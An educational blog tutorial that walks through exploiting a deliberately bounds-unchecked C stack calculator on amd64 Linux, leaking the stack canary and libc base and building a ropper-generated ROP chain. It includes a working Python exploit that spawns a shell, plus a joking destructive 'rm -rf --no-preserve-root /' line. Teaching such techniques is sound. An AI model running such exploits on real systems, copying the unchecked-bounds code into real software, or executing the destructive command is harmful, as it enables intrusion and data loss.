# Hacking apart a calculator? The word *hacking* even sounds like a kind of arcane and gruesome wizardry, and given what people manage to do sometimes, I'm inclined to agree. However, there is hacking and then there is hacking, and not all of it is incomprehensible. Many a security vulnerability (such a grand lexeme) stems from those silly mistakes that people keep making due to their human nature. Forgetting to check a pointer for `NULL`. Trusting what the user says. Acting on unenforced invariants. In programming it's helpful to get paranoidal about your code (maybe in life too, but I'm no psychologist). Thinking they are out after you, conspired to destroy things you love with the very tool you made. That they'll get ya if you dare let your guard down. And to prove my point, I'm going to show you how I hacked a calculator. Yes, we really are doing that. ## Meet the victim For ~~ethical reasons~~ demonstration purposes, the program we'll dissect today will be small, short, unobtrusive, and absolutely insecure. Here's the code. ```c= #include <stdio.h> enum { STACK_MAX = 10, }; int main() { int stack[STACK_MAX] = {0}; int idx = 0; while (1) { char command = -1; printf("command (><+): "); scanf(" %c", &command); switch (command) { case '>': int n = -1; scanf(" %d", &n); stack[idx++] = n; printf("pushed [%d] = %d\n", idx - 1, n); break; case '<': --idx; printf("popped [%d] -> %d\n", idx, stack[idx]); break; case '+': int x = stack[--idx]; int y = stack[--idx]; stack[idx++] = x + y; printf("[%d] = %d + %d = %d\n", idx - 1, x, y, x + y); break; case -1: goto out; } } out: return 0; } ``` So as you can see, it's a stack calculator, basically. I didn't even bother implementing all the elementary arithmetical operations; we've got summation, and we aren't going to need that, for the push (`>`) / pop (`<`) commands are all we need. A particularity should strike the mind of an observant reader. The bounds are not checked. We can pop as many numbers as we want to (almost), and push beyond the capacity of the stack. The way it works is simple. You compile and run the program, push a couple of integers, add them together, and pop the result, which will be printed to screen. ``` command (><+): > 100 pushed [0] = 100 command (><+): > 200 pushed [1] = 200 command (><+): > 300 pushed [2] = 300 command (><+): + [1] = 300 + 200 = 500 command (><+): + [0] = 500 + 100 = 600 command (><+): < popped [0] -> 600 command (><+): ^D ``` (Pressing `^D` exits the program.) ## Looking for trouble Now let me remind you how a program is run under x86 (really amd64) Linux. A program is stored as an ELF file, which is loaded into memory, and the instruction pointer (the `rip` register) is set to the address of the entry point of the program. ``` $ objdump -ft calc calc: file format elf64-x86-64 architecture: i386:x86-64, flags 0x00000150: HAS_SYMS, DYNAMIC, D_PAGED start address 0x0000000000001060 SYMBOL TABLE: 0000000000000000 l df *ABS* 0000000000000000 abi-note.c 000000000000039c l O .note.ABI-tag 0000000000000020 __abi_tag 0000000000000000 l df *ABS* 0000000000000000 init.c 0000000000000000 l df *ABS* 0000000000000000 crtstuff.c 0000000000001090 l F .text 0000000000000000 deregister_tm_clones 00000000000010c0 l F .text 0000000000000000 register_tm_clones 0000000000001100 l F .text 0000000000000000 __do_global_dtors_aux 0000000000004040 l O .bss 0000000000000001 completed.0 0000000000003df0 l O .fini_array 0000000000000000 __do_global_dtors_aux_fini_array_entry 0000000000001150 l F .text 0000000000000000 frame_dummy 0000000000003de8 l O .init_array 0000000000000000 __frame_dummy_init_array_entry 0000000000000000 l df *ABS* 0000000000000000 main.c 0000000000000000 l df *ABS* 0000000000000000 crtstuff.c 0000000000002164 l O .eh_frame 0000000000000000 __FRAME_END__ 0000000000000000 l df *ABS* 0000000000000000 0000000000003df0 l .init_array 0000000000000000 __init_array_end 0000000000003df8 l O .dynamic 0000000000000000 _DYNAMIC 0000000000003de8 l .init_array 0000000000000000 __init_array_start 0000000000002058 l .eh_frame_hdr 0000000000000000 __GNU_EH_FRAME_HDR 0000000000004000 l O .got.plt 0000000000000000 _GLOBAL_OFFSET_TABLE_ 0000000000001000 l F .init 0000000000000000 _init 0000000000001380 g F .text 0000000000000005 __libc_csu_fini 0000000000000000 w *UND* 0000000000000000 _ITM_deregisterTMCloneTable 0000000000004030 w .data 0000000000000000 data_start 0000000000004040 g .data 0000000000000000 _edata 0000000000001388 g F .fini 0000000000000000 .hidden _fini 0000000000000000 F *UND* 0000000000000000 __stack_chk_fail@GLIBC_2.4 0000000000000000 F *UND* 0000000000000000 printf@GLIBC_2.2.5 0000000000000000 F *UND* 0000000000000000 __libc_start_main@GLIBC_2.2.5 0000000000004030 g .data 0000000000000000 __data_start 0000000000000000 w *UND* 0000000000000000 __gmon_start__ 0000000000004038 g O .data 0000000000000000 .hidden __dso_handle 0000000000002000 g O .rodata 0000000000000004 _IO_stdin_used 0000000000001310 g F .text 0000000000000065 __libc_csu_init 0000000000004048 g .bss 0000000000000000 _end 0000000000001060 g F .text 000000000000002f _start 0000000000004040 g .bss 0000000000000000 __bss_start 0000000000001159 g F .text 00000000000001b5 main 0000000000000000 F *UND* 0000000000000000 __isoc99_scanf@GLIBC_2.7 0000000000004040 g O .data 0000000000000000 .hidden __TMC_END__ 0000000000000000 w *UND* 0000000000000000 _ITM_registerTMCloneTable 0000000000000000 w F *UND* 0000000000000000 __cxa_finalize@GLIBC_2.2.5 ``` This command tells us that the entry point has address `0x1060` into the program (note that these addresses will be shifted by a constant offset when the program is actually run). Looking down at the symbol table, we see the line: ``` 0000000000001060 g F .text 000000000000002f _start ``` ...which basically says that the `_start` function is run. It's different from `main`, which is also present in the file: ``` 0000000000001159 g F .text 00000000000001b5 main ``` And we sure know we didn't define any function named `_start` in our program source code. In fact, it's a function that's *automatically* added by the linker. It's purpose in life is to initialize the C runtime (preparing the standard file streams, setting up the system call machinery, getting ready for `atexit`), find the command-line arguments, environment variables and other things, and call the `main` function. ![](https://i.imgur.com/tho9ZiV.png) So once we're in `main`, we think our call stack looks like this: ``` main <- running ``` ...when it really is like this: ``` _start ... main <- running ``` So once we return from `main`, we go back to somewhere in `_start`! ## The stack The stack is a memory area consisting of stack frames, each corresponding to a called function. When you call a function, it allocates a new stack frame; the innermost function run sits at the top of the stack and its caller right below it. The allocation is made by simply changing the value of the stack pointer — it stores the address when the stack ends. By moving the stack pointer further from the stack base, we allocate memory, and going in the opposite direction frees it. On x86 (amd64) the stack pointer is called the `rsp` register, and the stack is said to grow down. What this means is that the address of the base is higher than `rsp`, and to allocate more memory you need to subtract from the register. ```asm= push rbp ; mov [rsp], rbp ; sub rsp, 8 mov rbp, rsp sub rbp, 96 ; allocates 96 bytes of stack memory ``` Note that after you deallocate memory, the data is still there on the stack until overwritten. ## How functions are called What does it mean to return from a function? What happens when you call a function? The basic idea of a function call is a two-step procedure: - save the return address - jump to the address of the first instruction of the function We do the latter because we want to actually execute whatever the function does. The former, on the other hand, has to do with returning from the function after it finishes its job. To resume the caller, the callee should know where to hand the control back to. And since the function can be called from anywhere, answering that where question is on us. By saving the return address — the address of the instruction immediately following the function call — we can tell the callee where to jump to once it's done. Traditionally, on x86 we just push the return address onto the stack and jump. So `call func` effectively translates to: ```asm push <func address> jump <func address> ``` Then, in the function, we perform the `ret` instruction, which does the following: ```asm add rsp, 8 jmp [rsp - 8] ``` ...or, basically... ```asm pop rip ``` ...though the latter is not actually valid assembly. This gives us... ## The attack vector An attack vector is a fancy name for an approach taken to exploit a program. Remember how our calculator was defective in that it didn't check that the cursor position was within the array bounds. We have the two operations: - pop moves the cursor to the left and reads the value - push overwrites the value under the cursor and goes right The array is stored on the stack, and combining these two pieces of information together we get two primitives (small reusable exploitable parts of the program): - **read:** subtract 4 from the pointed address and read the 32-bit value - **write:** write an arbitrary 32-bit value to the pointer and add 4 to the pointed address The idea for the attack is as follows: - determine the stack layout by poking the program around - overwrite the return address of the `main` function - it originally points to somewhere in `_start` - we set it to the address of another procedure we want to call - make `main` return - pops the return address, jumps to our procedure, wreaks havoc Sounds good? ## 'Cause life ain't easy Good. Let's follow the plan. ### Determining the stack layout Having direct access to the program makes reconnaissance easier. Start up the program... ``` $ ./calc command (><+): > 100 pushed [0] = 100 command (><+): > 200 pushed [1] = 200 command (><+): + [0] = 200 + 100 = 300 command (><+): < popped [0] -> 300 command (><+): ``` Sure, works. Fire up `gdb`... ``` $ gdb -p $(pidof calc) ``` ![](https://i.imgur.com/JTY9qnf.png) Uhh, sure, let's get us root privileges... ![](https://i.imgur.com/KprJdqX.png) Here we go. Now... ![](https://i.imgur.com/2dpRJrv.png) Here we've got: - the addresses of the stack region (spans `0x7ffdcc096000-0x7ffdcc0b7000`) - the address of the `stack` variable (`0x7ffdcc0b5050`) We see that the address `stack` is indeed within the stack area. Now... I suppose we just dump the memory? ``` (gdb) dump memory stack.mem 0x7ffdcc096000 0x7ffdcc0b7000 ``` Now we've got the file `stack.mem` on the disk which we can freely inspect. Since it's mostly binary, we're going to use a hex dumper (`xxd`): ``` $ xxd stack.mem | less ``` Let's calculate the address of `stack` relative to the stack start address: ``` 0x7ffdcc0b5050 - 0x7ffdcc096000 = 0x1f050 ``` Move over to `1f050`... ![](https://i.imgur.com/BNbSu0g.png) Sure enough, there it is. `int` is 32 bits long, so each takes 4 bytes. `stack[0] == *(stack + 0) == *stack` — so at `0x1f050` we've got the 0th element: `0x2c010000`. Actually, we have to read the bytes in reverse because the machine is little-endian, so it's `0x12c`, or 300. The next element is `0xc8 == 200`. Which confirms we're at the right place. Now let's determine where the return address is stored on the stack. ``` (gdb) info frame Stack level 5, frame at 0x7ffdcc0b5090: rip = 0x560347b691d2 in main (main.c:16); saved rip = 0x7ff1e92f9b25 caller of frame at 0x7ffdcc0b5030 source language c. Arglist at 0x7ffdcc0b5080, args: Locals at 0x7ffdcc0b5080, Previous frame's sp is 0x7ffdcc0b5090 Saved registers: rbp at 0x7ffdcc0b5080, rip at 0x7ffdcc0b5088 ``` The return address is the same as the previous `rip` value that we save. That means the address we need is stored at `0x7ffdcc0b5088` (see the last line, `rip`). That's... ``` 0x7ffdcc0b5088 - 0x7ffdcc096000 = 0x1f088 ``` ...bytes into the stack area. Sure enough, there it is: ![](https://i.imgur.com/RRMX9qS.png) Again, the machine is little-endian, so the actual address is `0x7ff1e92f9b25`. If you refer to the mappings above, you'll notice this points inside `libc`! ``` (gdb) x/a 0x7ffdcc0b5088 0x7ffdcc0b5088: 0x7ff1e92f9b25 <__libc_start_main+213> ``` As for the other locals... ![](https://i.imgur.com/SLVV6sw.png) Which gives us the following: ![](https://i.imgur.com/uxvLp4z.png) Legend: - <span style="background: #f86dfcff;"><code>command</code></span> - <span style="background: #00a2fcff;"><code>idx</code></span> - <span style="background: #09da3eff;"><code>stack</code></span> - <span style="background: #fc6d6dff;">return address</span> - <span style="background: #fcd16dff;">saved <code>rbp</code></span> ### Refining the idea Now that we know where everything is, we kind of get the idea of what we're going to do: 1. Move the cursor right 10 times by pushing something. 2. Move the cursor right 4 more times — now the cursor will be pointing at the stored return address. 3. Push the address of the needed function ### Facing the obstacles #### Stack smashing protection If we try to push to an empty stack 10 times, the cursor will point beyond the stack, at, in our case, `0x037f0036` (address `0x1f078` into the stack). However, once we attempt to write anything there different from what's already present, the program crashes without reaching the return: ``` $ ./calc command (><+): >0 pushed [0] = 0 command (><+): >1 pushed [1] = 1 command (><+): >2 pushed [2] = 2 command (><+): >3 pushed [3] = 3 command (><+): >4 pushed [4] = 4 command (><+): >5 pushed [5] = 5 command (><+): >6 pushed [6] = 6 command (><+): >7 pushed [7] = 7 command (><+): >8 pushed [8] = 8 command (><+): >9 pushed [9] = 9 command (><+): >10 pushed [10] = 10 command (><+): ^D *** stack smashing detected ***: terminated [1] 3922542 abort (core dumped) ./calc ``` Note that out buffer stores 10 elements — the indexes go up to 9 — so the 10th element is **outside** the buffer storage. And as you can see, the calculator totally just blew up. Not something you get to see too often. This is the buffer overrun protection acting up. It works like this. - After each on-stack array an area is reserved. - The compiler inserts code that, when run, writes a special value, called *the canary*, to the area. - The canary value is randomly generated before `main` is run. - It is stored in a special place not normally accessed by programs. - It also adds code before each `ret` instruction that reads from the area and compares the read data with the canary. - If the values mismatch, it calls a special function that prints the message and aborts the program without ever performing the return. If someone manages to make the program write past the end of a buffer, they probably don't know nor can predict the special canary value, and so the program is highly likely to detect the memory corruption and abort. So we can crash our program all right, but it doesn't feel like an achievement, to be honest. The goal is to run a function we desire, and we're getting a `abort (core dumped)` instead. That means we'll have to obtain the canary value somewhere. Unfortunately, we can only read the data **backwards**; if the cursor is to the left of the data we need, it's effectively inaccessible, since the only instruction that can move the cursor to the right is push and it overwrites the data. We're saved by the fact that the canary is same for all the on-stack arrays in the program. If it runs a function with an on-stack buffer, after the function returns, the buffer, and its canary, is still there in the memory! Moreover, since the stack grows down, the stack frame belonging to this function will be **behind** the `stack` array. So if we can predict where the buffer ends up relative to the array, we can just tell the program to pop a certain number of times, read the canary, and go back. And it just so happens that there is such a function, and we know where the canary is! ![](https://i.imgur.com/8LKQpQi.png) Legend: - <span style="background: #f86dfcff;"><code>command</code></span> - <span style="background: #00a2fcff;"><code>idx</code></span> - <span style="background: #09da3eff;"><code>stack</code></span> - <span style="background: #fc6d6dff;">return address</span> - <span style="background: #fcd16dff;">saved <code>rbp</code></span> - <span style="background: #00ffc1ff;">canary</span> Specifically, we can read it as the `-58`th and `-57`th "elements" of the array. Then we just push the same values at indeces `10` and `11`, and we're all set. #### Address space layout randomization Almost. We're almost done. Of course we had to fail somewhere, and that somewhere is that we don't know the addresses we want to jump to. As I mentioned before, when a program is loaded, all the addresses are shifted by a constant — called the **base address**. For instance, the base address of the `calc` program when we were dissecting it before was `0x560347b68000` — you can see that in the mappings. The problem is, it's also (not entirely, but sufficiently) random. So even if we know the function we want to call and its address *inside* the program image, we still need to get the base address. I mean, of course, if you have the memory dump, it's all basically here. You can look at the return address, for instance, which, as we remember, points to `__libc_start_main+213`. We find the instruction in the `libc` image, look at its address within the file — that's the offset from the base. Do the math, and you get the base address. But this is cheating, and no fun. And without the cheating, we can't read ahead, only write. We'll need to look behind and hope that, again, some function pushes an address within the loaded `libc` memory region onto the stack, from which we can then derive the base address of `libc` and proceed. In the session above, `libc` got loaded to `0x7ff1e92d2000`. Let's glance through the memory dump and look for values close to this address. ![](https://i.imgur.com/tHqejZf.png) We get: - <span style="background: #ebffb8ff;"><code>__isoc99_scanf+178</code></span>, which is `0x596e2` into `libc` - <span style="background: #ba86ffff;"><code>main+121</code></span>, which is `0x11d2` into `calc` And now we're talking. ## Return-oriented programming Now we're going to decide where we're actually going with this. Sure, we can indeed jump to any function we want, but that's still a far cry from calling it. For one, we need to pass it the arguments. If it was plain x86, where all the arguments are passed on the stack, it would've been a piece of cake. We overwrite the return address, keep writing beyond it to store the arguments, and then make a return. But it's amd64, and it passes most arguments in registers. Mostly for performance reasons, but as you can see, it helps security somewhat. So instead of jumping straight to the function of choice, such as `system("/bin/sh")`, we have to go through a series of functions that together prepare the registers by filling them with the desired values. The way it's done is by noting what most functions do before they return: deallocating their stack frame and restoring clobbered registers that are required to be preserved across calls by the calling convention. The finalization part of functions is called epilogue, and since the original values stored in these registers are pushed on stack before their use, to restore them, we just need to perform a series of `pop` instructions in an epilogue: ```asm mov [r12], rbp pop rbp pop r12 pop r13 pop r14 ret ``` Remember that we can jump to an arbitrary address in memory. This means we are not limited by having to jump to the beginning of a function. Getting in the middle of it, or even right in the epilogue, isn't any different to the processor. So by jumping to an epilogue and preparing the stack beforehand, we can load the attacked-controlled values from the stack into registers! What's more, each of these little pieces, called **gadgets**, ends with a `ret` instruction. Which just pops an address from the stack to `rip`. And we control the stack. If we change our mindset to focus on finding a chain of gadgets, each preparing the registers either for the next gadget or the end goal, we can potentially load anything in the registers, such as arguments for the end function of choice which we'll ultimately jump to! This is called **return-oriented programming**, or ROP, and the gadget chain is called a ROP chain. All that remains is just finding the gadgets and deciding on the sequence. We are lucky in many ways: - `libc` is famous for its enormous collection of all kinds of functions — for us it's basically the standard gadget library - `libc` is an abstraction over the low-level OS interface and necessarily has to use unsafe mechanisms such as system calls — so it has very useful gadgets that enable us to execute arbitrary system calls, such as reading files, removing them, or spawning a new process - `libc` is dynamically linked to almost any program (it takes some effort to compile a C program *without* accidentally linking to `libc`!), and ours is no exception - and, finally and most importantly, we have the tools to assist us You see, `libc` is enormous, and looking for a particular ROP chain can be exhaustive for a mere mortal human. So if there's a tool that just scans all the `ret` instructions and automatically builds a ROP chain for you, you're probably going to use it. Well, I am, and the tool is [`ropper`](https://github.com/sashs/ropper). ``` $ ropper -f ./calc /lib/libc-2.33.so --chain execve ... [INFO] syscall gadget found [INFO] generating rop chain #!/usr/bin/env python # Generated by ropper ropchain generator # from struct import pack p = lambda x : pack('Q', x) IMAGE_BASE_0 = 0x0000000000000000 # 571be8318e8eb5d347bb13a4affbff01858ce5aaf0db4690118f4edb0d4de035 rebase_0 = lambda x : p(x + IMAGE_BASE_0) IMAGE_BASE_1 = 0x0000000000000000 # f4dc1d621b6cb4af2ec69a9a84ef457acb31fa9e146aa22d0303bb8d4c599c74 rebase_1 = lambda x : p(x + IMAGE_BASE_1) rop = '' rop += rebase_0(0x0000000000001134) # 0x0000000000001134: pop rbp; ret; rop += '//bin/sh' rop += rebase_1(0x0000000000027cba) # 0x0000000000027cba: pop r12; ret; rop += rebase_0(0x0000000000004030) rop += rebase_1(0x00000000000925e8) # 0x00000000000925e8: mov qword ptr [r12], rbp; pop rbp; pop r12; pop r13; pop r14; ret; rop += p(0xdeadbeefdeadbeef) rop += p(0xdeadbeefdeadbeef) rop += p(0xdeadbeefdeadbeef) rop += p(0xdeadbeefdeadbeef) rop += rebase_0(0x0000000000001134) # 0x0000000000001134: pop rbp; ret; rop += p(0x0000000000000000) rop += rebase_1(0x0000000000027cba) # 0x0000000000027cba: pop r12; ret; rop += rebase_0(0x0000000000004038) rop += rebase_1(0x00000000000925e8) # 0x00000000000925e8: mov qword ptr [r12], rbp; pop rbp; pop r12; pop r13; pop r14; ret; rop += p(0xdeadbeefdeadbeef) rop += p(0xdeadbeefdeadbeef) rop += p(0xdeadbeefdeadbeef) rop += p(0xdeadbeefdeadbeef) rop += rebase_0(0x0000000000001373) # 0x0000000000001373: pop rdi; ret; rop += rebase_0(0x0000000000004030) rop += rebase_1(0x000000000002978f) # 0x000000000002978f: pop rsi; ret; rop += rebase_1(0x0000000000004038) rop += rebase_1(0x00000000000f9c37) # 0x00000000000f9c37: pop rdx; pop r12; ret; rop += rebase_1(0x0000000000004038) rop += p(0xdeadbeefdeadbeef) rop += rebase_1(0x000000000003fe60) # 0x000000000003fe60: pop rax; ret; rop += p(0x000000000000003b) rop += rebase_1(0x000000000005962a) # 0x000000000005962a: syscall; ret; print rop [INFO] rop chain generated! ``` It's so incredibly helpful that it even generates a Python script for you, leaving just to fill the base addresses of `calc` and `libc` and tweak the script a bit to account for the 10 array elements, the canary, and the padding. ## The serpentine scripting By doing all the above, we get this: ```python= #!/usr/bin/env python import array from struct import iter_unpack, pack, unpack def i64_from_parts(lo, hi): return unpack('@Q', pack('@ii', lo, hi))[0] p = lambda x: pack('Q', x) N = 66 print("RUN: >100<" + "<" * N) print("INPUT: program output; terminated by double lf") lines = [] while line := input(): lines.append(line) lines = lines[2:] values = [int(line.rsplit(' ')[-1]) for line in lines] assert len(values) == N # i values[2] = -2 canary = i64_from_parts(values[57], values[56]) libc_addr = i64_from_parts(values[65], values[64]) prog_addr = i64_from_parts(values[9], values[8]) prog_base = prog_addr - 0x11d2 # *rebases* an address *x* by adding the base address of ./calc (prog_base) rebase_0 = lambda x: p(x + prog_base) libc_base = libc_addr - 0x596e2 # likewise for libc rebase_1 = lambda x: p(x + libc_base) print('libc: 0x{:x}'.format(libc_base)) print('prog: 0x{:x}'.format(prog_base)) rop = b'' # buffer rop += p(0x0000000000000000) rop += p(0x0000000000000000) rop += p(0x0000000000000000) rop += p(0x0000000000000000) rop += p(0x0000000000000000) # canary and padding rop += p(canary) rop += p(0x0000000000000000) rop += rebase_0(0x0000000000001134) # 0x0000000000001134: pop rbp; ret; rop += b'//bin/sh' rop += rebase_1(0x0000000000027cba) # 0x0000000000027cba: pop r12; ret; rop += rebase_0(0x0000000000004030) rop += rebase_1(0x00000000000925e8) # 0x00000000000925e8: mov qword ptr [r12], rbp; pop rbp; pop r12; pop r13; pop r14; ret; rop += p(0x0000000000000000) rop += rebase_0(0x0000000000004038) rop += p(0xdeadbeefdeadbeef) rop += p(0xdeadbeefdeadbeef) rop += rebase_1(0x00000000000925e8) # 0x00000000000925e8: mov qword ptr [r12], rbp; pop rbp; pop r12; pop r13; pop r14; ret; rop += p(0xdeadbeefdeadbeef) rop += p(0xdeadbeefdeadbeef) rop += p(0xdeadbeefdeadbeef) rop += p(0xdeadbeefdeadbeef) rop += rebase_0(0x0000000000001373) # 0x0000000000001373: pop rdi; ret; rop += rebase_0(0x0000000000004030) rop += rebase_1(0x000000000002978f) # 0x000000000002978f: pop rsi; ret; # ! ropper mistakenly uses rebase_1 here... rop += rebase_0(0x0000000000004038) rop += rebase_1(0x00000000000f9c37) # 0x00000000000f9c37: pop rdx; pop r12; ret; # ! ...and here (cf. its output above) rop += rebase_0(0x0000000000004038) rop += p(0xdeadbeefdeadbeef) rop += rebase_1(0x000000000003fe60) # 0x000000000003fe60: pop rax; ret; rop += p(0x000000000000003b) rop += rebase_1(0x000000000005962a) # 0x000000000005962a: syscall; ret; print("RUN:") for i in reversed(values): print('>{}'.format(i), end='') for (i,) in iter_unpack('@i', rop): print('>{}'.format(i), end='') print() ``` This is the exploit code, basically. ### Demo ``` $ ./rop.py RUN: >100<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< INPUT: program output; terminated by double lf ``` We copy-paste the string after `RUN:` into our calculator: ``` $ ./calc command (><+): >100<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< pushed [0] = 100 command (><+): popped [0] -> 100 command (><+): popped [-1] -> 21920 command (><+): popped [-2] -> -1281019043 command (><+): popped [-3] -> -3 command (><+): popped [-4] -> 100 command (><+): popped [-5] -> 1006632960 command (><+): popped [-6] -> 1 command (><+): popped [-7] -> 0 command (><+): popped [-8] -> 13 command (><+): popped [-9] -> 21920 command (><+): popped [-10] -> -1281019438 command (><+): popped [-11] -> 0 command (><+): popped [-12] -> 2 command (><+): popped [-13] -> 32738 command (><+): popped [-14] -> -919445024 command (><+): popped [-15] -> 21920 command (><+): popped [-16] -> -1281019120 command (><+): popped [-17] -> 0 command (><+): popped [-18] -> 0 command (><+): popped [-19] -> 0 command (><+): popped [-20] -> 0 command (><+): popped [-21] -> 0 command (><+): popped [-22] -> 0 command (><+): popped [-23] -> 0 command (><+): popped [-24] -> 0 command (><+): popped [-25] -> 0 command (><+): popped [-26] -> 0 command (><+): popped [-27] -> 4 command (><+): popped [-28] -> 3 command (><+): popped [-29] -> 4 command (><+): popped [-30] -> 16 command (><+): popped [-31] -> 0 command (><+): popped [-32] -> 0 command (><+): popped [-33] -> 0 command (><+): popped [-34] -> 0 command (><+): popped [-35] -> 0 command (><+): popped [-36] -> 0 command (><+): popped [-37] -> 0 command (><+): popped [-38] -> 48 command (><+): popped [-39] -> 0 command (><+): popped [-40] -> 1572864 command (><+): popped [-41] -> 0 command (><+): popped [-42] -> 0 command (><+): popped [-43] -> 0 command (><+): popped [-44] -> 0 command (><+): popped [-45] -> 32766 command (><+): popped [-46] -> -1037912605 command (><+): popped [-47] -> 0 command (><+): popped [-48] -> 0 command (><+): popped [-49] -> 0 command (><+): popped [-50] -> 0 command (><+): popped [-51] -> 0 command (><+): popped [-52] -> 0 command (><+): popped [-53] -> 32766 command (><+): popped [-54] -> -1037912289 command (><+): popped [-55] -> 0 command (><+): popped [-56] -> 0 command (><+): popped [-57] -> 1904648602 command (><+): popped [-58] -> 829370368 command (><+): popped [-59] -> 32766 command (><+): popped [-60] -> -1037912496 command (><+): popped [-61] -> 32766 command (><+): popped [-62] -> -1037912304 command (><+): popped [-63] -> 48 command (><+): popped [-64] -> 8 command (><+): popped [-65] -> 32738 command (><+): popped [-66] -> -921430302 ``` We go back to `rop.py` and paste the output above: ``` $ ./rop.py RUN: >100<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< INPUT: program output; terminated by double lf pushed [0] = 100 command (><+): popped [0] -> 100 ... command (><+): popped [-66] -> -921430302 libc: 0x7fe2c90e8000 prog: 0x55a0b3a52000 RUN: >-921430302>32738>8>48>-1037912304>32766>-1037912496>32766>829370368>1904648602>0>0>-1037912289>32766>0>0>0>0>0>0>-1037912605>32766>0>0>0>0>1572864>0>48>0>0>0>0>0>0>0>16>4>3>4>0>0>0>0>0>0>0>0>0>0>-1281019120>21920>-919445024>32738>2>0>-1281019438>21920>13>0>1>1006632960>100>-2>-1281019043>21920>0>0>0>0>0>0>0>0>0>0>829370368>1904648602>0>0>-1281019596>21920>1768042287>1752379246>-921633606>32738>-1281007568>21920>-921197080>32738>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-1281019596>21920>0>0>-921633606>32738>-1281007560>21920>-921197080>32738>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-1281019021>21920>-1281007568>21920>-921626737>32738>-1281007560>21920>-920773577>32738>-1281007560>21920>-559038737>-559038737>-921534880>32738>59>0>-921430486>32738 ``` And run the final string: ``` $ ./calc ... command (><+): >-921430302>32738>8>48>-1037912304>32766>-1037912496>32766>829370368>1904648602>0>0>-1037912289>32766>0>0>0>0>0>0>-1037912605>32766>0>0>0>0>1572864>0>48>0>0>0>0>0>0>0>16>4>3>4>0>0>0>0>0>0>0>0>0>0>-1281019120>21920>-919445024>32738>2>0>-1281019438>21920>13>0>1>1006632960>100>-2>-1281019043>21920>0>0>0>0>0>0>0>0>0>0>829370368>1904648602>0>0>-1281019596>21920>1768042287>1752379246>-921633606>32738>-1281007568>21920>-921197080>32738>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-1281019596>21920>0>0>-921633606>32738>-1281007560>21920>-921197080>32738>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-1281019021>21920>-1281007568>21920>-921626737>32738>-1281007560>21920>-920773577>32738>-1281007560>21920>-559038737>-559038737>-921534880>32738>59>0>-921430486>32738 pushed [-66] = -921430302 command (><+): pushed [-65] = 32738 ... command (><+): pushed [61] = 32738 command (><+): ^D [slowlime@pc hack]$ # and now you can run a sane calculator, such as rm -rf --no-preserve-root / [slowlime@pc hack]$ ``` We're in a shell! We can now do almost anything: set up a remote shell, encrypt all the files, troll the user or just hog the resources by mining dogecoin. ### How it works TODO! There's gotta be a picture or a gif or something to explain what the exploit does step-by-step. Hopefully. For now it's an exersise to the reader! ...And that's how you hack your calculator. ## Where to go from here This was a stupid program with a stupid bug. Real programs are usually much more complicated, steeply increasing the difficulty of search and exploitation of vulnerabilities but opening up new exciting (for the hacker, of course) attack possibilities at the same time. For a web server, it's remote code execution. For an SSH server, privilege escalation. For an operating system, bricking hardware. And for firmware, it's physical damage to the device, the users, all the way up to blowing up a nuclear facility. Vulnerabilities can be unexploitable. If our calculator ensured `idx` never go negative, we would be unable to proceed from there at all. That's not to say our program would be secure, of course, but finding the way to exploit the buffer overrun would be harder. Exploits can be extremely platform-specific. The above was an example of one. If we were to choose another platform, compiler, or do as little as update the C library version, we'd probably have to start over again, though the idea would most likely be essentially unchanged. Still, a programmer ought to know their enemy by learning the ways programs are broken to avoid the same happening to theirs. And have a healthy sip of paranoia each time they write their code.